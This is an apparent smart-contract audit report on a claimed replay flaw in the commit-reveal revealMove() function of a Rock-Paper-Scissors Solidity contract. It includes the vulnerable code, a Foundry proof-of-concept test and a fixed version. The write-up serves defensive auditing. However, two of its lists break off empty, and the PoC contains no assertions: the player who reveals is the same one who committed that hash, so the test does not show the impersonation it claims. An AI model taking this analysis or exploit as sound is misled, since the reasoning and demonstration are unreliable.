🪲 Finding Title
Replay Attack via Weak Reveal Validation in revealMove()
🧩 Summary
The revealMove() function in RockPaperScissors.sol suffers from a logic flaw that allows malicious players to replay revealed moves from prior games. This occurs because the function verifies the hash using only the move and salt, without binding the commitment to the player or the game instance.
🔍 Finding Description
The protocol uses a commit-reveal scheme where players submit a hash of their move and a secret salt. During the reveal phase, revealMove() recomputes the hash using:
keccak256(abi.encodePacked(move, _salt));
However, this allows the same move + salt combination to be used by other players in separate games to impersonate previously revealed commitments. The system fails to bind the commit to:
This opens the door for:
💥 Impact
Reveal impersonation: Anyone can copy move + salt from a previous game and reveal it.
Game integrity breach: Multiple games can be influenced using the same commitment.
Trust loss: Undermines the core fairness guarantees of commit-reveal protocols.
📌 Vulnerable Code (Full Function)
File: src/RockPaperScissors.sol
Function: revealMove()
Line: ~230
function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external {
Game storage game = games[_gameId];
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");
require(_move >= 1 && _move <= 3, "Invalid move");
Move move = Move(_move);
bytes32 commit = keccak256(abi.encodePacked(move, _salt));
if (msg.sender == game.playerA) {
require(commit == game.commitA, "Hash doesn't match commitment");
require(game.moveA == Move.None, "Move already revealed");
game.moveA = move;
} else {
require(commit == game.commitB, "Hash doesn't match commitment");
require(game.moveB == Move.None, "Move already revealed");
game.moveB = move;
}
emit MoveRevealed(_gameId, msg.sender, move, game.currentTurn);
if (game.moveA != Move.None && game.moveB != Move.None) {
_determineWinner(_gameId);
}
}
🧪 Proof of Concept
See test file: RevealReplayPoC.t.sol
This test shows how an attacker can reuse move + salt from a past game to pass the reveal phase in a different game and impersonate the original player.
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
import "../src/WinningToken.sol";
contract RevealReplayPoCTest is Test {
RockPaperScissors public game;
WinningToken public token;
address public playerA;
address public playerB;
function setUp() public {
playerA = makeAddr("playerA");
playerB = makeAddr("playerB");
vm.deal(playerA, 10 ether);
vm.deal(playerB, 10 ether);
game = new RockPaperScissors();
token = WinningToken(game.winningToken());
}
function testRevealReplayAttack() public {
uint256 game1 = createAndJoinGame(playerA, playerB);
uint256 game2 = createAndJoinGame(playerA, playerB);
bytes32 salt = keccak256(abi.encodePacked("shared salt"));
bytes32 commitHash = keccak256(abi.encodePacked(uint8(RockPaperScissors.Move.Rock), salt));
vm.prank(playerA);
game.commitMove(game1, commitHash);
vm.prank(playerB);
game.commitMove(game1, keccak256(abi.encodePacked("dummy")));
vm.prank(playerA);
game.commitMove(game2, keccak256(abi.encodePacked("fresh")));
vm.prank(playerB);
game.commitMove(game2, commitHash);
vm.warp(block.timestamp + 1);
vm.prank(playerA);
game.revealMove(game1, uint8(RockPaperScissors.Move.Rock), salt);
vm.prank(playerB);
game.revealMove(game2, uint8(RockPaperScissors.Move.Rock), salt);
}
function createAndJoinGame(address a, address b) internal returns (uint256) {
vm.prank(a);
uint256 id = game.createGameWithEth{value: 0.1 ether}(3, 600);
vm.prank(b);
game.joinGameWithEth{value: 0.1 ether}(id);
return id;
}
}
✅ Recommendation
🔐 Secure Reveal Validation
bytes32 commit = keccak256(abi.encodePacked(move, _salt, msg.sender, _gameId));
🔐 Updated Commit Hash Format
Players should generate commits with:
keccak256(abi.encodePacked(move, salt, msg.sender, gameId));
🔐 Optional Improvement in commitMove()
To improve hygiene and prevent salt reuse:
require(!usedSalt[msg.sender][_gameId][_commitHash], "Salt reuse not allowed");
usedSalt[msg.sender][_gameId][_commitHash] = true;
📌 Fixed Code (Full Function)
function revealMove(uint256 _gameId, uint8 _move, bytes32 _salt) external {
Game storage game = games[_gameId];
require(msg.sender == game.playerA || msg.sender == game.playerB, "Not a player in this game");
require(game.state == GameState.Committed, "Game not in reveal phase");
require(block.timestamp <= game.revealDeadline, "Reveal phase timed out");
require(_move >= 1 && _move <= 3, "Invalid move");
Move move = Move(_move);
bytes32 commit = keccak256(abi.encodePacked(move, _salt, msg.sender, _gameId));
if (msg.sender == game.playerA) {
require(commit == game.commitA, "Hash doesn't match commitment");
require(game.moveA == Move.None, "Move already revealed");
game.moveA = move;
} else {
require(commit == game.commitB, "Hash doesn't match commitment");
require(game.moveB == Move.None, "Move already revealed");
game.moveB = move;
}
emit MoveRevealed(_gameId, msg.sender, move, game.currentTurn);
if (game.moveA != Move.None && game.moveB != Move.None) {
_determineWinner(_gameId);
}
}
✅ Conclusion
The vulnerability in revealMove() stems from verifying hashes using only move + salt, without ensuring the sender and game context match. By binding these elements in the hash, the system becomes resistant to replay attacks. While the main risk lies in revealMove(), it's good practice to harden commitMove() as well to complete the security model.
✅ Tool Used
Manual review
